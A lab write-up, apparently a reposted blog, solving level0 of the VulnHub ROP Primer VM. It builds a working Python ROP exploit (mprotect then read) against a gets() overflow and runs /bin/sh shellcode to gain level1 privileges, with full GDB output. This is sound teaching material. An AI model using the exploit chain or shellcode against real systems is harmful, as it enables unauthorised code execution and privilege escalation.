Lab - ROP Primer
2015-07-14 00:56
597 查看
Download
http://download.vulnhub.com/rop-primer/rop-primer-v0.2.ovaExploit
level0@rop:~$ cat exploit.py #!/usr/bin/env python2 # -*- coding: utf8 -*- import struct def p(x): return struct.pack('<L', x) # function address mprotect = 0x80523e0 read = 0x80517f0 pop3ret = 0x8048882 # create payload payload = "\x41" * 44 # payload += p(0xdeadbeef) # mprotect payload += p(mprotect) # payload += p(0xdeadbeef) payload += p(0x8048882) # These 3 lines below represent the 3 values that mprotect takes payload += p(0xb7ffd000) payload += p(0x2000) payload += p(0x7) # payload += "BBBB" payload += p(read) # payload += p(0xdeadbeef) payload += p(pop3ret) # read arguments payload += p(0x0) payload += p(0xb7ffd000) payload += p(0x200) payload += p(0xb7ffd000) print payload
level0@rop:~$ (python exploit.py; python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"';cat) | ./level0 [+] ROP tutorial level0 [+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���! id uid=1000(level0) gid=1000(level0) euid=1001(level1) groups=1001(level1),1000(level0)
Tutorials
Background
I managed to get sent to BSides London a couple of weeks back thanks to Procheckup. I was a bit hesitant at first due to it being my first con and going on my own but I thought, what have I got to lose? Turnt out the day was awesome! I met a lot of smart people and had a hell of a lot of fun listening to the talks and participating in the workshops (including lots of free goodies).The main workshop that I was looking forward to was about Return-Orientated Programming (ROP) presented by Bas from vulnhub. I’ve been exposed to binary exploitation before by partaking in CTF challenges. I’d perfomed ret2libc attacks before but never went far enough to do ROP.
We all recieved a copy of a VM which contained 3 challenges that had to be solved using ROP. This blog post will be my write up of the first challenge. Hopefully, if time permits, I’ll do a write up for challenges two and three. So enough background, lets get started!
ROP TIME!
Okay, so first off I loaded the program up in GDB and disassembled the binary to see what it does.level0@rop:~$ gdb -q level0 Reading symbols from level0...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
Binary has NX enabled, which means we will need to perform ret2libc or ROP to bypass this mitigation.
gdb-peda$ disassemble main Dump of assembler code for function main: 0x08048254 <+0>: push ebp 0x08048255 <+1>: mov ebp,esp 0x08048257 <+3>: and esp,0xfffffff0 0x0804825a <+6>: sub esp,0x30 0x0804825d <+9>: mov DWORD PTR [esp],0x80ab668 0x08048264 <+16>: call 0x8048f40 <puts> 0x08048269 <+21>: mov DWORD PTR [esp],0x80ab680 0x08048270 <+28>: call 0x8048d80 <printf> 0x08048275 <+33>: lea eax,[esp+0x10] 0x08048279 <+37>: mov DWORD PTR [esp],eax 0x0804827c <+40>: call 0x8048db0 <gets> 0x08048281 <+45>: lea eax,[esp+0x10] 0x08048285 <+49>: mov DWORD PTR [esp+0x4],eax 0x08048289 <+53>: mov DWORD PTR [esp],0x80ab698 0x08048290 <+60>: call 0x8048d80 <printf> 0x08048295 <+65>: mov eax,0x0 0x0804829a <+70>: leave 0x0804829b <+71>: ret End of assembler dump.
So we can see at 0x0804825a the esp register is subtracted by 0x30 (decimal 48). Which is usually a tell that a buffer has been assigned. Looking through the rest of the code we see four functions, three that print to the stdout and one that recieves input from stdin.
The next stage is to try and smash the buffer. To do this, peda-gdb has a useful function called “pattern_create” which creates random data to insert into the buffer. Then depending on what EIP gets overwritten to, it will figure out how many bytes of data it takes to overwrite EIP. Neat, huh?
gdb-peda$ pattern_create 48 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAA'
I decided to go for a length of 48 due to what I figured from the disassembly of the main function.
gdb-peda$ pattern_create 48 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAA'
gdb-peda$ quit
level0@rop:~$ python2 -c 'print "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAA"' > inp
level0@rop:~$ gdb -q level0
Reading symbols from level0...(no debugging symbols found)...done.
gdb-peda$ r < inp
Starting program: /home/level0/level0 < inp
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAA!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff6ac --> 0x80ca720 --> 0xfbad2a84
EDX: 0x80cb690 --> 0x0
ESI: 0x80488e0 (<__libc_csu_fini>: push ebp)
EDI: 0x2cff64bf
EBP: 0x41304141 ('AA0A')
ESP: 0xbffff700 --> 0x0
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xbffff700 --> 0x0
0004| 0xbffff704 --> 0xbffff794 --> 0xbffff8b6 ("/home/level0/level0")
0008| 0xbffff708 --> 0xbffff79c --> 0xbffff8ca ("XDG_SESSION_ID=2")
0012| 0xbffff70c --> 0x0
0016| 0xbffff710 --> 0x0
0020| 0xbffff714 --> 0x0
0024| 0xbffff718 --> 0x0
0028| 0xbffff71c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
I opened the binary back in GDB and ran the program with inp file as input. This overwrote EIP to “0x41414641″ using pattern_offset and the “0x41414641″ address. GDB told me that the buffer was 44 bytes long.
level0@rop:~$ python2 -c 'print "A" * 44 + "\xef\xbe\xad\xde"' > 1inp level0@rop:~$ gdb -q level0 Reading symbols from level0...(no debugging symbols found)...done. gdb-peda$ r < 1inp Starting program: /home/level0/level0 < 1inp [+] ROP tutorial level0 [+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�! Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xbffff6ac --> 0x80ca720 --> 0xfbad2a84 EDX: 0x80cb690 --> 0x0 ESI: 0x80488e0 (<__libc_csu_fini>: push ebp) EDI: 0xce28991f EBP: 0x41414141 ('AAAA') ESP: 0xbffff700 --> 0x0 EIP: 0xdeadbeef EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0xdeadbeef [------------------------------------stack-------------------------------------] 0000| 0xbffff700 --> 0x0 0004| 0xbffff704 --> 0xbffff794 --> 0xbffff8b6 ("/home/level0/level0") 0008| 0xbffff708 --> 0xbffff79c --> 0xbffff8ca ("XDG_SESSION_ID=2") 0012| 0xbffff70c --> 0x0 0016| 0xbffff710 --> 0x0 0020| 0xbffff714 --> 0x0 0024| 0xbffff718 --> 0x0 0028| 0xbffff71c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0xdeadbeef in ?? ()
The next step, I used python to print 44 A’s and then DEADBEEF. I fed this through GDB and noted what EIP had been overwritten to. Success! I can overwrite the EIP correctly.
Now that I could control execution of the binary I thought out my game plan to use ROP to get a shell.
I would use the mprotect function to set an area of memory to executable, call the read function and then finally feed in shellcode to the read function to execute my shell.
To do this I noted the addresses of mprotect and read (ASLR was disabled, so these addresses stayed the same).
gdb-peda$ p mprotect $1 = {<text variable, no debug info>} 0x80523e0 <mprotect> gdb-peda$ p read $2 = {<text variable, no debug info>} 0x80517f0 <read>
I created a skeleton python script for my exploit.
#!/usr/bin/env python2 # -*- coding: utf8 -*- import struct def p(x): return struct.pack('<L', x) payload = "A" * 44 payload += p(0xdeadbeef) print payload
A quick run to see if it still overwrites EIP properly
level0@rop:~$ python exp.py > 2inp level0@rop:~$ gdb -q level0 Reading symbols from level0...(no debugging symbols found)...done. gdb-peda$ r < 2inp Starting program: /home/level0/level0 < 2inp [+] ROP tutorial level0 [+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�! Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xbffff6ac --> 0x80ca720 --> 0xfbad2a84 EDX: 0x80cb690 --> 0x0 ESI: 0x80488e0 (<__libc_csu_fini>: push ebp) EDI: 0xcf1f6a72 EBP: 0x41414141 ('AAAA') ESP: 0xbffff700 --> 0x0 EIP: 0xdeadbeef EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0xdeadbeef [------------------------------------stack-------------------------------------] 0000| 0xbffff700 --> 0x0 0004| 0xbffff704 --> 0xbffff794 --> 0xbffff8b6 ("/home/level0/level0") 0008| 0xbffff708 --> 0xbffff79c --> 0xbffff8ca ("XDG_SESSION_ID=2") 0012| 0xbffff70c --> 0x0 0016| 0xbffff710 --> 0x0 0020| 0xbffff714 --> 0x0 0024| 0xbffff718 --> 0x0 0028| 0xbffff71c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0xdeadbeef in ?? ()
Looks good to me! Moving on… The next thing I need in my exploit is the mprotect function. I looked mprotect up in man.
$ man mprotect MPROTECT(3P) POSIX Programmer's Manual MPROTECT(3P) PROLOG This manual page is part of the POSIX Programmer's Manual. The Linux implementation of this interface may differ (consult the corresponding Linux manual page for details of Linux behavior), or the interface may not be implemented on Linux. NAME mprotect — set protection of memory mapping SYNOPSIS #include <sys/mman.h> int mprotect(void *addr, size_t len, int prot); DESCRIPTION The mprotect() function shall change the access protections to be that specified by prot for those whole pages containing any part of the address space of the process starting at address addr and continuing for len bytes. The parameter prot determines whether read, write, execute, or some combination of accesses are permitted to the data being mapped. The prot argument should be either PROT_NONE or the bitwise-inclusive OR of one or more of PROT_READ, PROT_WRITE, and PROT_EXEC. If an implementation cannot support the combination of access types specified by prot, the call to mprotect() shall fail. An implementation may permit accesses other than those specified by prot; however, no implementation shall permit a write to succeed where PROT_WRITE has not been set or shall permit any access where PROT_NONE alone has been set. Implementations shall support at least the following values of prot: PROT_NONE, PROT_READ, PROT_WRITE, and the bitwise-inclusive OR of PROT_READ and PROT_WRITE. If PROT_WRITE is specified, the application shall ensure that it has opened the mapped objects in the specified address range with write permission, unless MAP_PRIVATE was specified in the original mapping, regardless of whether the file descriptors used to map the objects have since been closed. The implementation may require that addr be a multiple of the page size as returned by sysconf(). The behavior of this function is unspecified if the mapping was not established by a call to mmap(). When mprotect() fails for reasons other than [EINVAL], the protections on some of the pages in the range [addr,addr+len) may have been changed. RETURN VALUE Upon successful completion, mprotect() shall return 0; otherwise, it shall return −1 and set errno to indicate the error. ......
So mprotect takes three arguments. The address to change the protection of. The size of memory to change the protection of. Finally, what protection to set on the memory selected.
Using vmmap in GDB I found an address to use for the first argument. The second argument, I decided to go for a size of 2000. But for the final argument I had to dig deeper.
test:lab/ $ cat /usr/include/asm-generic/mman-common.h #ifndef __ASM_GENERIC_MMAN_COMMON_H #define __ASM_GENERIC_MMAN_COMMON_H /* Author: Michael S. Tsirkin <mst@mellanox.co.il>, Mellanox Technologies Ltd. Based on: asm-xxx/mman.h */ #define PROT_READ 0x1 /* page can be read */ #define PROT_WRITE 0x2 /* page can be written */ #define PROT_EXEC 0x4 /* page can be executed */ #define PROT_SEM 0x8 /* page may be used for atomic ops */ #define PROT_NONE 0x0 /* page can not be accessed */ #define PROT_GROWSDOWN 0x01000000 /* mprotect flag: extend change to start of growsdown vma */ #define PROT_GROWSUP 0x02000000 /* mprotect flag: extend change to end of growsup vma */ #define MAP_SHARED 0x01 /* Share changes */ #define MAP_PRIVATE 0x02 /* Changes are private */ #define MAP_TYPE 0x0f /* Mask for type of mapping */ #define MAP_FIXED 0x10 /* Interpret addr exactly */ #define MAP_ANONYMOUS 0x20 /* don't use a file */ #ifdef CONFIG_MMAP_ALLOW_UNINITIALIZED # define MAP_UNINITIALIZED 0x4000000 /* For anonymous mmap, memory could be uninitialized */ #else # define MAP_UNINITIALIZED 0x0 /* Don't support this flag */ #endif #define MS_ASYNC 1 /* sync memory asynchronously */ #define MS_INVALIDATE 2 /* invalidate the caches */ #define MS_SYNC 4 /* synchronous memory sync */ #define MADV_NORMAL 0 /* no further special treatment */ #define MADV_RANDOM 1 /* expect random page references */ #define MADV_SEQUENTIAL 2 /* expect sequential page references */ #define MADV_WILLNEED 3 /* will need these pages */ #define MADV_DONTNEED 4 /* don't need these pages */ /* common parameters: try to keep these consistent across architectures */ #define MADV_REMOVE 9 /* remove these pages & resources */ #define MADV_DONTFORK 10 /* don't inherit across fork */ #define MADV_DOFORK 11 /* do inherit across fork */ #define MADV_HWPOISON 100 /* poison a page for testing */ #define MADV_SOFT_OFFLINE 101 /* soft offline page for testing */ #define MADV_MERGEABLE 12 /* KSM may merge identical pages */ #define MADV_UNMERGEABLE 13 /* KSM may not merge identical pages */ #define MADV_HUGEPAGE 14 /* Worth backing with hugepages */ #define MADV_NOHUGEPAGE 15 /* Not worth backing with hugepages */ #define MADV_DONTDUMP 16 /* Explicity exclude from the core dump, overrides the coredump filter bits */ #define MADV_DODUMP 17 /* Clear the MADV_DONTDUMP flag */ /* compatibility flags */ #define MAP_FILE 0 /* * When MAP_HUGETLB is set bits [26:31] encode the log2 of the huge page size. * This gives us 6 bits, which is enough until someone invents 128 bit address * spaces. * * Assume these are all power of twos. * When 0 use the default page size. */ #define MAP_HUGE_SHIFT 26 #define MAP_HUGE_MASK 0x3f #endif /* __ASM_GENERIC_MMAN_COMMON_H */
After a bit of looking around, I managed to find where the protection values are defined. I went with PROT_READ, PROT_WRITE & PROT_EXEC which is 0x7 (0x1+0x2+0x4).
level0@rop:~$ cat exploit.py #!/usr/bin/env python2 # -*- coding: utf8 -*- import struct def p(x): return struct.pack('<L', x) # function address mprotect = 0x80523e0 read = 0x80517f0 pop3ret = 0x8048882 # create payload payload = "\x41" * 44 # payload += p(0xdeadbeef) # mprotect payload += p(mprotect) payload += p(0xdeadbeef) # These 3 lines below represent the 3 values that mprotect takes payload += p(0xb7ffd000) payload += p(0x2000) payload += p(0x7) print payload
I updated my exploit script to as above. I set the address for mprotect and read then setup my mprotect function.
level0@rop:~$ python2 exp2.py > 3inp level0@rop:~$ gdb -q level0 Reading symbols from level0...(no debugging symbols found)...done. gdb-peda$ r < 3inp Starting program: /home/level0/level0 < 3inp [+] ROP tutorial level0 [+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�ᆳ�! Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0x2000 ('') EDX: 0x7 ESI: 0x80488e0 (<__libc_csu_fini>: push ebp) EDI: 0x214182c8 EBP: 0x41414141 ('AAAA') ESP: 0xbffff704 --> 0xb7ffd000 ('A' <repeats 44 times>, "\340#\005\b", <incomplete sequence \336>) EIP: 0xdeadbeef EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0xdeadbeef [------------------------------------stack-------------------------------------] 0000| 0xbffff704 --> 0xb7ffd000 ('A' <repeats 44 times>, "\340#\005\b", <incomplete sequence \336>) 0004| 0xbffff708 --> 0x2000 ('') 0008| 0xbffff70c --> 0x7 0012| 0xbffff710 --> 0x0 0016| 0xbffff714 --> 0x0 0020| 0xbffff718 --> 0x0 0024| 0xbffff71c --> 0x0 0028| 0xbffff720 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0xdeadbeef in ?? () gdb-peda$ vmmap Start End Perm Name 0x08048000 0x080ca000 r-xp /home/level0/level0 0x080ca000 0x080cb000 rw-p /home/level0/level0 0x080cb000 0x080ef000 rw-p [heap] 0xb7ffd000 0xb7fff000 rwxp mapped 0xb7fff000 0xb8000000 r-xp [vdso] 0xbffdf000 0xc0000000 rw-p [stack]
I executed the exploit in GDB and found that EIP got overwritten to deadbeef again and then used vmmap to see if the area of memory i had chosen to set as read, write & exec had work. RWXP. Cool, so my mprotect ROP chain worked. So now I need to setup my read ROP chain.
However, I first needed to find a rop gadget to pop mprotect and it’s arguments off the stack.
gdb-peda$ ropgadget ret = 0x8048106 addesp_4 = 0x804a278 popret = 0x8048550 pop2ret = 0x8048883 pop4ret = 0x8048881 pop3ret = 0x8048882 addesp_8 = 0x804b7f8 leaveret = 0x804813c addesp_12 = 0x8048d1f addesp_16 = 0x8048c60 addesp_20 = 0x804a41f addesp_24 = 0x8049d71 addesp_28 = 0x80496a3 addesp_32 = 0x804bd53 addesp_36 = 0x8049f05 addesp_40 = 0x804c253 addesp_44 = 0x8048a0c addesp_48 = 0x804a5db addesp_52 = 0x8049f93 addesp_56 = 0x804a7e4 addesp_60 = 0x80489ad addesp_64 = 0x804d32c addesp_68 = 0x806a0a2 addesp_72 = 0x8075242 addesp_76 = 0x804887e --More--(25/69)
Using “ropgadget” in GDB gave me a list of ROP gadgets to choose from. As mprotect had three arguments, I went with: pop3ret.
level0@rop:~$ cat exp3.py #!/usr/bin/env python2 # -*- coding: utf8 -*- import struct def p(x): return struct.pack('<L', x) # function address mprotect = 0x80523e0 read = 0x80517f0 pop3ret = 0x8048882 # create payload payload = "\x41" * 44 # payload += p(0xdeadbeef) # mprotect payload += p(mprotect) payload += p(pop3ret) # These 3 lines below represent the 3 values that mprotect takes payload += p(0xb7ffd000) payload += p(0x2000) payload += p(0x7) payload += "BBBB" print payload
I updated my exploit script to change the fake ret address to pop3ret and then appended the payload with “BBBB” which will be set as the new EIP.
level0@rop:~$ python2 exp3.py > 4inp level0@rop:~$ gdb -q level0 Reading symbols from level0...(no debugging symbols found)...done. gdb-peda$ r < 4inp Starting program: /home/level0/level0 < 4inp [+] ROP tutorial level0 [+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���! Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0x2000 ('') EDX: 0x7 ESI: 0xb7ffd000 ('A' <repeats 44 times>, "\340#\005\b\202\210\004\b") EDI: 0x2000 ('') EBP: 0x7 ESP: 0xbffff714 --> 0x0 EIP: 0x42424242 ('BBBB') EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x42424242 [------------------------------------stack-------------------------------------] 0000| 0xbffff714 --> 0x0 0004| 0xbffff718 --> 0x0 0008| 0xbffff71c --> 0x0 0012| 0xbffff720 --> 0x0 0016| 0xbffff724 --> 0x80488e0 (<__libc_csu_fini>: push ebp) 0020| 0xbffff728 --> 0x91d41275 0024| 0xbffff72c --> 0xbffff768 --> 0x0 0028| 0xbffff730 --> 0x57caea5c [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x42424242 in ?? ()
Okay, all good! After running the updated exploit, we can see that EIP has been overwritten by “BBBB”. Next thing to do is open up the man for the read function.
read(3) - Linux man page Prolog This manual page is part of the POSIX Programmer's Manual. The Linux implementation of this interface may differ (consult the corresponding Linux manual page for details of Linux behavior), or the interface may not be implemented on Linux. Name pread, read - read from a file Synopsis #include <unistd.h> ssize_t pread(int fildes, void *buf, size_t nbyte, off_t offset); ssize_t read(int fildes, void *buf, size_t nbyte); ....
So as we can see, read takes 3 arguments. First is file descriptor which we want set as stdin (so we can feed our shellcode in). Second the address of the buffer (the one we set with mprotect). Finally, the count of the bytes we want read in.
#include <bits/posix_opt.h> /* Get the environment definitions from Unix98. */ #if defined __USE_UNIX98 || defined __USE_XOPEN2K # include <bits/environments.h> #endif /* Standard file descriptors. */ #define STDIN_FILENO 0 /* Standard input. */ #define STDOUT_FILENO 1 /* Standard output. */ #define STDERR_FILENO 2 /* Standard error output. */
After some looking around, I found that the STDIN is defined as 0. So now we have what we need for the read function we can add it to the exploit.
level0@rop:~$ cat exp4.py #!/usr/bin/env python2 # -*- coding: utf8 -*- import struct def p(x): return struct.pack('<L', x) # function address mprotect = 0x80523e0 read = 0x80517f0 pop3ret = 0x8048882 # create payload payload = "\x41" * 44 # payload += p(0xdeadbeef) # mprotect payload += p(mprotect) # payload += p(0xdeadbeef) payload += p(0x8048882) # These 3 lines below represent the 3 values that mprotect takes payload += p(0xb7ffd000) payload += p(0x2000) payload += p(0x7) # payload += "BBBB" payload += p(read) payload += p(0xdeadbeef) # payload += p(pop3ret) # read arguments payload += p(0x0) payload += p(0xb7ffd000) payload += p(0x200) print payload
The read rop chain is set up and a fake ret of deadbeef. Lets give the exploit a run and see if it works.
level0@rop:~$ python2 exp4.py > 5inp level0@rop:~$ gdb -q level0 Reading symbols from level0...(no debugging symbols found)...done. gdb-peda$ r < 5inp Starting program: /home/level0/level0 < 5inp [+] ROP tutorial level0 [+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���! Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xb7ffd000 ('A' <repeats 44 times>, "\340#\005\b\202\210\004\b") EDX: 0x200 ESI: 0xb7ffd000 ('A' <repeats 44 times>, "\340#\005\b\202\210\004\b") EDI: 0x2000 ('') EBP: 0x7 ESP: 0xbffff718 --> 0x0 EIP: 0xdeadbeef EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0xdeadbeef [------------------------------------stack-------------------------------------] 0000| 0xbffff718 --> 0x0 0004| 0xbffff71c --> 0xb7ffd000 ('A' <repeats 44 times>, "\340#\005\b\202\210\004\b") 0008| 0xbffff720 --> 0x200 0012| 0xbffff724 --> 0x8048800 (<__libc_setup_tls+368>: mov DWORD PTR ds:0x80cb414,edx) 0016| 0xbffff728 --> 0xd7bf6313 0020| 0xbffff72c --> 0xbffff768 --> 0x0 0024| 0xbffff730 --> 0x812826d0 0028| 0xbffff734 --> 0x77ce35bf [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0xdeadbeef in ?? ()
All good! EIP gets overwritten to deadbeef. Now all that’s left to do with our exploit script is reuse our pop3ret gadget in place of the fake ret address and then set eip to point to the executable buffer we created.
level0@rop:~$ cat exploit.py #!/usr/bin/env python2 # -*- coding: utf8 -*- import struct def p(x): return struct.pack('<L', x) # function address mprotect = 0x80523e0 read = 0x80517f0 pop3ret = 0x8048882 # create payload payload = "\x41" * 44 # payload += p(0xdeadbeef) # mprotect payload += p(mprotect) # payload += p(0xdeadbeef) payload += p(0x8048882) # These 3 lines below represent the 3 values that mprotect takes payload += p(0xb7ffd000) payload += p(0x2000) payload += p(0x7) # payload += "BBBB" payload += p(read) # payload += p(0xdeadbeef) payload += p(pop3ret) # read arguments payload += p(0x0) payload += p(0xb7ffd000) payload += p(0x200) payload += p(0xb7ffd000) print payload
Now the exploit is done, it’s time to run it and see if it executes shellcode properly.
level0@rop:~$ (python exploit.py; python -c 'print "\xcc\xcc"') | ./level0 [+] ROP tutorial level0 [+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���! Trace/breakpoint trap
The shellcode above represents a breakpoint. As you can see above, the exploit worked because it hit a breakpoint. All that’s left to do now is insert some shellcode to launch /bin/sh. The shellcode i went with is:
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80
level0@rop:~$ (python exploit.py; python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"';cat) | ./level0 [+] ROP tutorial level0 [+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���! id uid=1000(level0) gid=1000(level0) euid=1001(level1) groups=1001(level1),1000(level0)
uname -a
Linux rop 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
w00t w00t! So the shellcode gave us our shell with level1 privileges and allowed us to cat flag to move me on to the next challenge.
Thanks again to Bas, vulnhub, Procheckup and everyone at BSides! Can’t wait for it again next year!
References
http://www.cyberpunksecurity.co.uk/babys-first-rop/相关文章推荐
- Linux awk命令详解??????????(研究)
- linux awk 内置函数详细介绍(实例)
- 京东云、新浪微博等专家畅谈Docker未来格局:开放与竞争(下)
- 京东云、新浪微博等专家畅谈Docker未来格局:开放与竞争(下)
- Linux性能监控分析命令
- Nginx之五:Nginx服务器和php-fpm服务器的分离
- centos6.5 网卡配置
- apache wdcp url支持中文 url
- 京东云、新浪微博等专家畅谈Docker未来格局:开放与竞争(上)
- 京东云、新浪微博等专家畅谈Docker未来格局:开放与竞争(上)
- 解决centos 乱码问题
- 网站赚钱高手:一个人运营发展12年赚了5亿多美元
- 使用 LSWC 在 Linux 中自动更改壁纸
- 怎么建立微网站?如何做微网站?教你如何用建站宝盒制作微信网站
- linux环境下jboss配置
- 操作笔记:catalina.out膨胀太快,分割tomcat 7日志
- linux下串口编程简单实例
- ubutun14伪分布安装hadoop-2.6.0
- 解密京东618技术:重构多中心交易平台 11000个Docker支撑
- Apache Drill源码分析1--准备工作